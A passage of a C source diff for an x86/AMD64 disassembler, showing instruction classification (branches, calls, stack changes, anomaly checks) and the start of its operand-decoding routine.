+ }
+
+ if (!Decode)
+ {
+ Disassembler->Stage3CountNoDecode++;
+ return TRUE; // all work is done
+ }
+
+ //////////////////////////////////////////////////////////////////////
+ // Detect particularly interesting intructions
+ //////////////////////////////////////////////////////////////////////
+
+ Operand1 = &Instruction->Operands[0];
+ if (Instruction->Groups & ITYPE_EXEC)
+ {
+ // If it is a negative offset with a 1-byte or 2-byte offset, assume it is a loop
+ if (Operand1->Type == OPTYPE_OFFSET &&
+ Operand1->Length <= 2 && X86Instruction->Displacement < 0)
+ {
+ Instruction->CodeBranch.IsLoop = TRUE;
+ Instruction->CodeBranch.Operand = Operand1;
+ }
+
+ if (!Instruction->AnomalyOccurred &&
+ Operand1->TargetAddress >= (U64)Instruction->Address &&
+ Operand1->TargetAddress < (U64)Instruction->Address + Instruction->Length)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: branch into the middle of an instruction\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+
+ switch (Instruction->Type)
+ {
+ case ITYPE_BRANCH:
+ Operand1->Flags |= OP_ADDRESS;
+ assert(Instruction->OperandCount == 1);
+ if (!(Operand1->Flags & (OP_GLOBAL|OP_FAR)))
+ {
+ assert(!X86Instruction->HasSelector);
+ X86Instruction->Segment = SEG_CS;
+ }
+
+ if (Operand1->TargetAddress)
+ {
+ assert(!Instruction->CodeBranch.AddressOffset);
+ Instruction->CodeBranch.Count = 1;
+ Instruction->CodeBranch.Addresses[0] = Operand1->TargetAddress;
+ Instruction->CodeBranch.Operand = Operand1;
+ }
+ // If there is both a base and index register, the Result will probably be too wrong
+ // to even guess
+ else if (X86Instruction->HasFullDisplacement &&
+ ((X86Instruction->HasBaseRegister && !X86Instruction->HasIndexRegister) ||
+ (!X86Instruction->HasBaseRegister && X86Instruction->HasIndexRegister)))
+ {
+ assert(Operand1->Length <= 0xFF);
+ if (!X86Instruction->Scale)
+ {
+ if (Operand1->Length) X86Instruction->Scale = (U8)Operand1->Length;
+ else X86Instruction->Scale = X86Instruction->OperandSize;
+ }
+ assert(Operand1->Length <= 0xFF);
+ tmpScale = MAX(X86Instruction->Scale, Operand1->Length);
+
+ assert(tmpScale <= 16);
+ Instruction->CodeBranch.AddressOffset = (U8)tmpScale;
+ for (i = 0; i < MAX_CODE_REFERENCE_COUNT; i++) Instruction->CodeBranch.Addresses[i] = (U64)X86Instruction->Displacement + (i * tmpScale);
+ Instruction->CodeBranch.Count = i;
+ Instruction->CodeBranch.IsIndirect = TRUE;
+ Instruction->CodeBranch.Operand = Operand1;
+ }
+ break;
+
+ case ITYPE_CALL:
+ Instruction->Groups |= ITYPE_STACK;
+ Instruction->CodeBranch.IsCall = TRUE;
+ Operand1->Flags |= OP_ADDRESS;
+ assert(Instruction->OperandCount == 1);
+ if (!(Operand1->Flags & (OP_GLOBAL|OP_FAR)))
+ {
+ assert(!X86Instruction->HasSelector);
+ X86Instruction->Segment = SEG_CS;
+ }
+
+ if (Operand1->TargetAddress)
+ {
+ assert(!Instruction->CodeBranch.AddressOffset);
+ Instruction->CodeBranch.Count = 1;
+ Instruction->CodeBranch.Addresses[0] = Operand1->TargetAddress;
+ Instruction->CodeBranch.Operand = Operand1;
+ }
+ // If there is both a base and index register, the Result will probably be too wrong
+ // to even guess
+ else if (X86Instruction->HasFullDisplacement &&
+ ((X86Instruction->HasBaseRegister && !X86Instruction->HasIndexRegister) ||
+ (!X86Instruction->HasBaseRegister && X86Instruction->HasIndexRegister)))
+ {
+ //DISASM_OUTPUT(("[0x%08I64X] Scale %d, displacement 0x%08I64x\n", VIRTUAL_ADDRESS, X86Instruction->Scale, X86Instruction->Displacement));
+ if (!X86Instruction->Scale)
+ {
+ assert(Operand1->Length <= 0xFF);
+ if (Operand1->Length) X86Instruction->Scale = (U8)Operand1->Length;
+ else X86Instruction->Scale = X86Instruction->OperandSize;
+ }
+ tmpScale = MAX(X86Instruction->Scale, Operand1->Length);
+
+ assert(tmpScale <= 16);
+ Instruction->CodeBranch.AddressOffset = (U8)tmpScale;
+ assert(X86Instruction->Scale > 1);
+ for (i = 0; i < MAX_CODE_REFERENCE_COUNT; i++) Instruction->CodeBranch.Addresses[i] = (U64)X86Instruction->Displacement + (i * tmpScale);
+ Instruction->CodeBranch.Count = i;
+ Instruction->CodeBranch.IsIndirect = TRUE;
+ Instruction->CodeBranch.Operand = Operand1;
+ }
+ break;
+
+ case ITYPE_BRANCHCC:
+ assert(Instruction->OperandCount == 1);
+ assert(Operand1->Flags & OP_ADDRESS);
+ assert(Operand1->Type == OPTYPE_OFFSET);
+ if (!(Operand1->Flags & (OP_GLOBAL|OP_FAR)))
+ {
+ assert(!X86Instruction->HasSelector);
+ X86Instruction->Segment = SEG_CS;
+ }
+
+ if (Operand1->TargetAddress)
+ {
+ assert(!Instruction->CodeBranch.AddressOffset);
+ Instruction->CodeBranch.Count = 2;
+ Instruction->CodeBranch.Addresses[0] = Operand1->TargetAddress;
+ Instruction->CodeBranch.Addresses[1] = (U64)Instruction->Address + Instruction->Length;
+ Instruction->CodeBranch.Operand = Operand1;
+ }
+ break;
+
+ case ITYPE_LOOPCC:
+ Instruction->CodeBranch.IsLoop = TRUE;
+ assert(Instruction->OperandCount == 1);
+ assert(Operand1->Flags & OP_ADDRESS);
+ assert(Operand1->Type == OPTYPE_OFFSET);
+ assert(!(Operand1->Flags & (OP_GLOBAL|OP_FAR)));
+ if (Operand1->TargetAddress)
+ {
+ assert(!Instruction->CodeBranch.AddressOffset);
+ Instruction->CodeBranch.Count = 2;
+ Instruction->CodeBranch.Addresses[0] = Operand1->TargetAddress;
+ Instruction->CodeBranch.Addresses[1] = (U64)Instruction->Address + Instruction->Length;
+ Instruction->CodeBranch.Operand = Operand1;
+ }
+ break;
+
+ case ITYPE_RET:
+ Instruction->Groups |= ITYPE_STACK;
+ break;
+
+ default:
+ break; // do nothing
+ }
+ }
+ else // possible data instruction
+ {
+ for (i = 0, Operand = Instruction->Operands; i < Instruction->OperandCount; i++, Operand++)
+ {
+ if (Operand->TargetAddress)
+ {
+ if (Operand->Flags & OP_DST)
+ {
+ assert(!Instruction->DataDst.Count);
+ Instruction->DataDst.Count = 1;
+ Instruction->DataDst.Addresses[0] = Operand->TargetAddress;
+ Instruction->DataDst.DataSize = Operand->Length;
+ Instruction->DataDst.Operand = Operand;
+ DISASM_OUTPUT(("[0x%08I64X] Write of size %d to 0x%04I64X\n", VIRTUAL_ADDRESS, Operand->Length, Operand->TargetAddress));
+ }
+ if (Operand->Flags & OP_SRC)
+ {
+ assert(!Instruction->DataSrc.Count);
+ Instruction->DataSrc.Count = 1;
+ Instruction->DataSrc.Addresses[0] = Operand->TargetAddress;
+ Instruction->DataSrc.DataSize = Operand->Length;
+ Instruction->DataSrc.Operand = Operand;
+ DISASM_OUTPUT(("[0x%08I64X] Read of size %d to 0x%04I64X\n", VIRTUAL_ADDRESS, Operand->Length, Operand->TargetAddress));
+ }
+ }
+
+ // If there is both a base and index register, the Result will probably be too wrong
+ // to even guess
+ else if (Operand->Flags & OP_GLOBAL &&
+ ((X86Instruction->HasBaseRegister && !X86Instruction->HasIndexRegister) ||
+ (!X86Instruction->HasBaseRegister && X86Instruction->HasIndexRegister)))
+ {
+ DISASM_OUTPUT(("[0x%08I64X] Data reference (scale %d, size %d, displacement 0x%08I64x)\n", VIRTUAL_ADDRESS, X86Instruction->Scale, Operand->Length, X86Instruction->Displacement));
+ if (!X86Instruction->Scale)
+ {
+ assert(Operand->Length <= 0xFF);
+ if (Operand->Length) X86Instruction->Scale = (U8)Operand->Length;
+ else X86Instruction->Scale = X86Instruction->OperandSize;
+ }
+ tmpScale = MAX(X86Instruction->Scale, Operand->Length);
+
+ assert(X86Instruction->HasFullDisplacement);
+ if (Operand->Flags & OP_DST)
+ {
+ assert(!Instruction->DataDst.Count);
+ assert(tmpScale <= 16);
+ Instruction->CodeBranch.AddressOffset = (U8)tmpScale;
+ for (i = 0; i < MAX_DATA_REFERENCE_COUNT; i++) Instruction->DataDst.Addresses[i] = (U64)X86Instruction->Displacement + (i * tmpScale);
+ Instruction->DataDst.Count = i;
+ Instruction->DataDst.DataSize = Operand->Length;
+ Instruction->DataDst.Operand = Operand;
+ }
+ if (Operand->Flags & OP_SRC)
+ {
+ assert(!Instruction->DataSrc.Count);
+ assert(tmpScale <= 16);
+ Instruction->CodeBranch.AddressOffset = (U8)tmpScale;
+ for (i = 0; i < MAX_DATA_REFERENCE_COUNT; i++) Instruction->DataSrc.Addresses[i] = (U64)X86Instruction->Displacement + (i * tmpScale);
+ Instruction->DataSrc.Count = i;
+ Instruction->DataSrc.DataSize = Operand->Length;
+ Instruction->DataSrc.Operand = Operand;
+ }
+ }
+ }
+ }
+
+ if (Instruction->Groups & ITYPE_STACK)
+ {
+ switch (Instruction->Type)
+ {
+ case ITYPE_PUSH:
+ assert(Instruction->OperandCount == 1 && Operand1->Length);
+ Instruction->StackChange = -Operand1->Length;
+ SANITY_CHECK_ADDRESS_SIZE();
+ break;
+
+ case ITYPE_POP:
+ assert(Instruction->OperandCount == 1 && Operand1->Length);
+ Instruction->StackChange = Operand1->Length;
+ SANITY_CHECK_ADDRESS_SIZE();
+ break;
+
+ case ITYPE_PUSHA:
+ Instruction->StackChange = -(X86Instruction->OperandSize * 8); // xAX, xCX, xDX, xBX, xBP, xSP, xSI, xDI
+ SANITY_CHECK_ADDRESS_SIZE();
+ break;
+
+ case ITYPE_POPA:
+ Instruction->StackChange = X86Instruction->OperandSize * 8; // xDI, xSI, xSP, xBP, xBX, xDX, xCX, xAX
+ SANITY_CHECK_ADDRESS_SIZE();
+ break;
+
+ case ITYPE_PUSHF:
+ Instruction->StackChange = -Operand1->Length;
+ Instruction->NeedsEmulation = TRUE;
+ SANITY_CHECK_ADDRESS_SIZE();
+ break;
+
+ case ITYPE_POPF:
+ Instruction->StackChange = Operand1->Length;
+ Instruction->NeedsEmulation = TRUE;
+ SANITY_CHECK_ADDRESS_SIZE();
+ break;
+
+ case ITYPE_ENTER:
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (Instruction->Operands[1].Value_U64 & 3)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: ENTER has invalid operand 2\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ if (Instruction->Operands[2].Value_U64 & ~0x1F)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: ENTER has invalid operand 3\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ }
+ SANITY_CHECK_ADDRESS_SIZE();
+ Instruction->Operands[2].Value_U64 &= 0x1F;
+
+ // frame pointer + stack space
+ i = Operand1->Length + (U32)Instruction->Operands[1].Value_U64;
+ Instruction->StackChange = -((LONG)i);
+ i = (U32)Instruction->Operands[2].Value_U64 * Operand1->Length;
+ Instruction->StackChange -= i;
+ break;
+
+ case ITYPE_LEAVE:
+ // This will do "mov esp, ebp; pop ebp" so the StackChange size is dynamic
+ SANITY_CHECK_ADDRESS_SIZE();
+ break;
+
+ case ITYPE_CALL:
+ Instruction->StackChange = -X86Instruction->OperandSize;
+ SANITY_CHECK_ADDRESS_SIZE();
+ break;
+
+ case ITYPE_RET:
+ Instruction->StackChange = X86Instruction->OperandSize;
+
+ switch (Opcode)
+ {
+ case 0xC3: // ret with no args
+ break;
+
+ case 0xC2: // ret with 1 arg
+ if (!Instruction->AnomalyOccurred && (Operand1->Value_U64 & 3))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: ret has invalid operand 1\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ Instruction->StackChange += (LONG)Operand1->Value_U64;
+ break;
+
+ case 0xCB: // far ret with no args
+ Instruction->StackChange *= 2; // account for segment
+ Instruction->StackChange += (LONG)Operand1->Value_U64;
+ break;
+
+ case 0xCA: // far ret with 1 arg
+ if (!Instruction->AnomalyOccurred && (Operand1->Value_U64 & 3))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: retf has invalid operand 1\n", VIRTUAL_ADDRESS);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ Instruction->StackChange *= 2; // account for segment
+ Instruction->StackChange += (LONG)Operand1->Value_U64;
+ break;
+ }
+ SANITY_CHECK_ADDRESS_SIZE();
+ break;
+
+ case ITYPE_ADD:
+ case ITYPE_XCHGADD:
+ if (Instruction->Operands[1].Value_S64) Instruction->StackChange = (LONG)(Instruction->Operands[1].Value_S64);
+ break;
+ case ITYPE_SUB:
+ if (Instruction->Operands[1].Value_S64) Instruction->StackChange = (LONG)(-Instruction->Operands[1].Value_S64);
+ break;
+ case ITYPE_MOV:
+ case ITYPE_AND:
+ break;
+
+ default:
+ if (!Instruction->AnomalyOccurred)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: Instruction \"%s\" is modifying the stack\n", VIRTUAL_ADDRESS, X86Opcode->Mnemonic);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ break;
+ }
+
+ if (!Instruction->AnomalyOccurred &&
+ ((X86Instruction->OperandSize != 2 && (Instruction->StackChange & 3)) || (Instruction->StackChange & 1)))
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ANOMALY: \"%s\" has invalid stack change 0x%02X\n", VIRTUAL_ADDRESS, X86Opcode->Mnemonic, Instruction->StackChange);
+ Instruction->AnomalyOccurred = TRUE;
+ }
+ }
+
+ if (Instruction->Groups & ITYPE_TRAPS)
+ {
+ switch (Instruction->Type)
+ {
+ case ITYPE_TRAP:
+ case ITYPE_TRAPCC:
+ case ITYPE_TRAPRET:
+ case ITYPE_BOUNDS:
+ case ITYPE_DEBUG:
+ case ITYPE_TRACE:
+ case ITYPE_INVALID:
+ case ITYPE_OFLOW:
+ Instruction->NeedsEmulation = TRUE;
+ break;
+ default:
+ assert(0);
+ break;
+ }
+ }
+
+ if (Instruction->Groups & ITYPE_SYSTEM)
+ {
+ switch (Instruction->Type)
+ {
+ case ITYPE_CPUID:
+ case ITYPE_SYSCALL:
+ case ITYPE_SYSCALLRET:
+ // This doesn't require privileges
+ break;
+
+ case ITYPE_HALT:
+ case ITYPE_IN:
+ case ITYPE_OUT:
+ default:
+ Instruction->NeedsEmulation = TRUE;
+ break;
+ }
+ }
+
+ Disassembler->Stage3CountWithDecode++;
+ return TRUE;
+
+abort:
+ if (!SuppressErrors)
+ {
+#ifdef TEST_DISASM
+ printf("Dump of 0x%04I64X:\n", VIRTUAL_ADDRESS);
+ __try { DumpAsBytes(stdout, Instruction->Address, (ULONG_PTR)VIRTUAL_ADDRESS, 16, TRUE); }
+ __except (GetExceptionCode() == EXCEPTION_ACCESS_VIOLATION ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {}
+#endif
+ fflush(stdout);
+ }
+ return FALSE;
+}
+
+// Address = address to first byte after the opcode (e.g., first byte of ModR/M byte or
+// immediate value
+//
+// Returns the address immediately following the operand (e.g., the next operand or the
+// start of the next instruction
+INTERNAL U8 *SetOperands(INSTRUCTION *Instruction, U8 *Address, U32 Flags)
+{
+ INSTRUCTION_OPERAND *Operand;
+ U32 Index, OperandIndex;
+ S64 Displacement = 0;
+ U8 Register;
+ U32 OperandFlags, OperandType, AddressMode, Segment;
+ U8 Opcode;
+ MODRM modrm;
+ REX rex;
+ REX_MODRM rex_modrm;
+ X86_OPCODE *X86Opcode;
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+ BOOL Decode = Flags & DISASM_DECODE;
+ BOOL Disassemble = Flags & DISASM_DISASSEMBLE;
+ BOOL SuppressErrors = Flags & DISASM_SUPPRESSERRORS;
+
+ Opcode = Instruction->LastOpcode;
+ X86Opcode = &X86Instruction->Opcode;
+
+ // Setup Mod R/M byte
+ if (X86Instruction->HasModRM)
+ {
+ SET_MODRM(X86Instruction->modrm, X86Instruction->modrm_b);
+ modrm = X86Instruction->modrm;
+ rex = X86Instruction->rex;
+ SET_REX_MODRM(X86Instruction->rex_modrm, rex, modrm);
+ rex_modrm = X86Instruction->rex_modrm;
+ //DISASM_OUTPUT(("[0x%08I64X] ModRM = 0x%02X (mod=%d, reg=%d, rm=%d)\n", VIRTUAL_ADDRESS, X86Instruction->modrm_b, modrm.mod, rex_modrm.reg, rex_modrm.rm));
+ INSTR_INC(1); // increment Instruction->Length and address
+ }
+ else
+ {
+ // initialize them to 0
+ modrm = X86Instruction->modrm;
+ rex = X86Instruction->rex;
+ rex_modrm = X86Instruction->rex_modrm;
+ }
+
+ for (OperandIndex = 0; OperandIndex < Instruction->OperandCount; OperandIndex++)
+ {
+ Operand = &Instruction->Operands[OperandIndex];
+ assert(!(Operand->Flags & 0x7F));
+
+ OperandFlags = X86Opcode->OperandFlags[OperandIndex] & X86_OPFLAGS_MASK;
+ OperandType = X86Opcode->OperandFlags[OperandIndex] & X86_OPTYPE_MASK;
+ AddressMode = X86Opcode->OperandFlags[OperandIndex] & X86_AMODE_MASK;
+ if (Decode && OperandIndex != 0) APPENDS(", ");
+
+ switch (OperandType)
+ {
+ ////////////////////////////////////////////////////////////
+ // Special operand types with no associated addressing mode
+ ////////////////////////////////////////////////////////////
+
+ case OPTYPE_0:
+ if (!Decode) continue;
+ Operand->Value_U64 = 0;
+ Operand->Type = OPTYPE_IMM;
+ //DISASM_OUTPUT(("[SetOperand] const 0\n"));
+ if (Disassemble)
+ {
+ APPENDS("<0>");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_1:
+ if (!Decode) continue;
+ Operand->Value_U64 = 1;
+ Operand->Type = OPTYPE_IMM;
+ //DISASM_OUTPUT(("[SetOperand] const 1\n"));
+ if (Disassemble)
+ {
+ APPENDS("<1>");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_FF:
+ if (!Decode) continue;
+ Operand->Value_U64 = 0xFF;
+ Operand->Type = OPTYPE_IMM;
+ //DISASM_OUTPUT(("[SetOperand] const 0xff\n"));
+ if (Disassemble)
+ {
+ APPENDS("<0xFF>");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_TSC:
+ if (!Decode) continue;
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_SPECIAL;
+ //DISASM_OUTPUT(("[SetOperand] TSC\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_CS_MSR:
+ if (!Decode) continue;
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_SPECIAL;
+ //DISASM_OUTPUT(("[SetOperand] CS MSR\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_EIP_MSR:
+ if (!Decode) continue;
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_SPECIAL;
+ //DISASM_OUTPUT(("[SetOperand] EIP MSR\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_ESP_MSR:
+ if (!Decode) continue;
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_SPECIAL;
+ //DISASM_OUTPUT(("[SetOperand] ESP MSR\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_KERNELBASE_MSR:
+ if (!Decode) continue;
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_SPECIAL;
+ //DISASM_OUTPUT(("[SetOperand] KernelBase MSR\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_STAR_MSR:
+ if (!Decode) continue;
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_SPECIAL;
+ //DISASM_OUTPUT(("[SetOperand] KernelBase MSR\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_CSTAR_MSR:
+ assert(!IS_AMD64());
+ if (!Decode) continue;
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_SPECIAL;
+ //DISASM_OUTPUT(("[SetOperand] CSTAR MSR\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_LSTAR_MSR:
+ assert(IS_AMD64());
+ if (!Decode) continue;
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_SPECIAL;
+ //DISASM_OUTPUT(("[SetOperand] LSTAR MSR\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_FMASK_MSR:
+ if (!Decode) continue;
+ Operand->Length = 8;
+ Operand->Type = OPTYPE_SPECIAL;
+ //DISASM_OUTPUT(("[SetOperand] FMASK MSR\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OP_REG:
+ if (!Decode) continue;
+ // The reg field is included in the opcode
+ Operand->Length = X86Instruction->OperandSize;
+ Register = X86_GET_REG64(Opcode);
+ switch (X86Instruction->OperandSize)
+ {
+ case 8:
+ Operand->Register = AMD64_64BIT_OFFSET + Register;
+ break;
+ case 4:
+ Operand->Register = X86_32BIT_OFFSET + Register;
+ CHECK_AMD64_REG();
+ break;
+ case 2:
+ Operand->Register = X86_16BIT_OFFSET + Register;
+ CHECK_AMD64_REG();
+ break;
+ case 1:
+ Operand->Register = X86_8BIT_OFFSET + Register;
+ if (X86Instruction->rex_b) CHECK_AMD64_REG();
+ break;
+ default:
+ assert(0);
+ return NULL;
+ }
+ X86_SET_REG(Register);
+
+ //DISASM_OUTPUT(("[SetOperand] OP_REG %s\n", X86_Registers[Operand->Register]));
+ if (Disassemble)
+ {
+ APPENDB('<'); APPENDS(X86_Registers[Operand->Register]); APPENDB('>');
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_REG8:
+ if (!Decode) continue;
+ // The reg field is included in the opcode
+ Operand->Length = 1;
+ Register = X86_GET_REG64(Opcode);
+ Operand->Register = X86_8BIT_OFFSET + Register;
+ CHECK_AMD64_REG();
+ X86_SET_REG(Register);
+
+ //DISASM_OUTPUT(("[SetOperand] OP_REG %s\n", X86_Registers[Operand->Register]));
+ if (Disassemble)
+ {
+ APPENDB('<'); APPENDS(X86_Registers[Operand->Register]); APPENDB('>');
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_REG_AL:
+ if (!Decode) continue;
+ Operand->Length = 1;
+ Operand->Register = X86_REG_AL;
+ X86_SET_REG(0);
+ //DISASM_OUTPUT(("[SetOperand] reg AL\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_REG_CL:
+ if (!Decode) continue;
+ Operand->Length = 1;
+ Operand->Register = X86_REG_CL;
+ X86_SET_REG(0);
+ //DISASM_OUTPUT(("[SetOperand] reg CL\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_REG_AH:
+ if (!Decode) continue;
+ Operand->Length = 1;
+ Operand->Register = X86_REG_AH;
+ X86_SET_REG(0);
+ //DISASM_OUTPUT(("[SetOperand] reg AH\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_REG_AX:
+ if (!Decode) continue;
+ Operand->Length = 2;
+ Operand->Register = X86_REG_AX;
+ X86_SET_REG(0);
+ //DISASM_OUTPUT(("[SetOperand] reg AX\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_REG_DX:
+ if (!Decode) continue;
+ Operand->Length = 2;
+ Operand->Register = X86_REG_DX;
+ X86_SET_REG(0);
+ //DISASM_OUTPUT(("[SetOperand] reg DX\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_REG_ECX:
+ if (!Decode) continue;
+ Operand->Length = 4;
+ Operand->Register = X86_REG_ECX;
+ X86_SET_REG(0);
+ //DISASM_OUTPUT(("[SetOperand] reg ECX\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_REG_xBP:
+ if (!Decode) continue;
+ Operand->Length = X86Instruction->OperandSize;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RBP; break;
+ case 4: Operand->Register = X86_REG_EBP; break;
+ case 2: Operand->Register = X86_REG_BP; break;
+ default: assert(0); return NULL;
+ }
+ X86_SET_REG(0);
+ //DISASM_OUTPUT(("[SetOperand] xAX_BIG (size = %d)\n", Operand->Length));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_REG_xAX_BIG:
+ if (!Decode) continue;
+ Operand->Length = X86Instruction->OperandSize;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RAX; break;
+ case 4: Operand->Register = X86_REG_EAX; break;
+ case 2: Operand->Register = X86_REG_AX; break;
+ default: assert(0); return NULL;
+ }
+ X86_SET_REG(0);
+ //DISASM_OUTPUT(("[SetOperand] xAX_BIG (size = %d)\n", Operand->Length));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+ case OPTYPE_REG_xAX_SMALL:
+ if (!Decode) continue;
+ Operand->Length = X86Instruction->OperandSize >> 1;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: Operand->Register = X86_REG_EAX; break;
+ case 4: Operand->Register = X86_REG_AX; break;
+ case 2: Operand->Register = X86_REG_AL; break;
+ default: assert(0); return NULL;
+ }
+ X86_SET_REG(0);
+ //DISASM_OUTPUT(("[SetOperand] xAX_SMALL (size = %d)\n", Operand->Length));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_xCX_HI_xBX_LO:
+ if (!Decode) continue;
+ Operand->Length = X86Instruction->OperandSize << 1;
+ if (Disassemble)
+ {
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: APPENDS(""); break;
+ case 4: APPENDS(""); break;
+ case 2: APPENDS(""); break;
+ default: assert(0); return NULL;
+ }
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] xCX_BIG:xBX_BIG (size = %d)\n", Operand->Length));
+ continue;
+ case OPTYPE_xDX_HI_xAX_LO:
+ if (!Decode) continue;
+ Operand->Length = X86Instruction->OperandSize << 1;
+ if (Disassemble)
+ {
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: APPENDS(""); break;
+ case 4: APPENDS(""); break;
+ case 2: APPENDS(""); break;
+ default: assert(0); return NULL;
+ }
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] xDX_BIG:xAX_BIG (size = %d)\n", Operand->Length));
+ continue;
+
+ case OPTYPE_EDX_HI_EAX_LO:
+ if (!Decode) continue;
+ Operand->Length = 8;
+ //DISASM_OUTPUT(("[SetOperand] EDX:EAX\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_EDX_ECX_EBX_EAX:
+ Operand->Length = 32;
+ //DISASM_OUTPUT(("[SetOperand] EDX:ECX:EBX:EAX\n"));
+ if (Disassemble)
+ {
+ APPENDS("");
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_FLAGS:
+ if (!Decode) continue;
+ Operand->Length = 2;
+ Operand->Flags |= OP_REG;
+ Operand->Register = X86_REG_FLAGS;
+ //DISASM_OUTPUT(("[SetOperand] reg FLAGS\n"));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_xFLAGS:
+ if (!Decode) continue;
+ Operand->Length = X86Instruction->OperandSize;
+ Operand->Flags |= OP_REG;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RFLAGS; break;
+ case 4: Operand->Register = X86_REG_EFLAGS; break;
+ case 2: Operand->Register = X86_REG_FLAGS; break;
+ default: assert(0); return NULL;
+ }
+ //DISASM_OUTPUT(("[SetOperand] reg xFLAGS (size = %d)\n", Operand->Length));
+ if (Disassemble)
+ {
+ APPEND(OPCSTR, SIZE_LEFT, "<%s>", X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ continue;
+
+ case OPTYPE_CS:
+ if (!Decode) continue;
